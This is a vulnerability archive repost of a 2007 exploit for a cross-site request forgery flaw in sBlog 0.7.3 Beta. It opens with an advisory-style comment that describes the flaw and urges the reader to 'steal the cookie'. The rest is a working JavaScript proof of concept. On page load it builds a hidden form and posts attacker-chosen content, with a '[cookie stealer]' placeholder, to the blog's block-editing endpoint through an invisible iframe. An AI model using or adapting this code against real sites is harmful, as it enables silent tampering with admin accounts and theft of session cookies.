Home / vulnerabilitiesPDF  

sblog-csrf.txt

Posted on 02 November 2007
Source : packetstormsecurity.org Link

 

<!--
- Product : sBlog
-
- Version : 0.7.3 Beta
-
- Website : http://www.sblog.se
-
- Author : 0x90
-
- Homepage: WwW.0x90.CoM.Ar
-
- Contact : Guns[at]0x90[dot]com[dot]ar
-
- Problem : Cross Site Request Forgery Vulnerability
-
- Sumary : sBlog has, by default, no CSRF protection, this may allow an attacker
to change any block by tricking a victim with admin privileges
into a special forged web page (even in a a totally different server)
that sends a request to change one block in the web. The
victim does not know that the form was sent. If the victim has admin
privileges the exploit will succeed, otherwise nothing will happen.
-
- Note : I recommend steal the cookie ;)
-
- Greetz : xiam ;) Visit: xiam.be
-->

<script type="text/javascript">
window.onload = function() {
var url = "http://[URL]/blocks_edit_do.php";

var bid = [block id];
var topic = [name block];
var content = [cookie stealer];

var param = {
id: bid,
block_topic: topic,
block_content: content,
block_vis: 1,
block_style: 1,
block_top: 1
};

var form = document.createElement('form');
form.action = url;
form.method = 'post';
form.target = 'hidden';
form.style.display = 'none';

for (var i in param) {
try {
// ie
var input = document.createElement('<input name="'+i+'">');
} catch(e) {
// other browsers
var input = document.createElement('input');
input.name = i;
}
input.setAttribute('value', param[i]);
form.appendChild (input);
}
document.body.appendChild(form);

form.submit();
}
</script>

<iframe name="hidden" style="display: none"></iframe>

 

TOP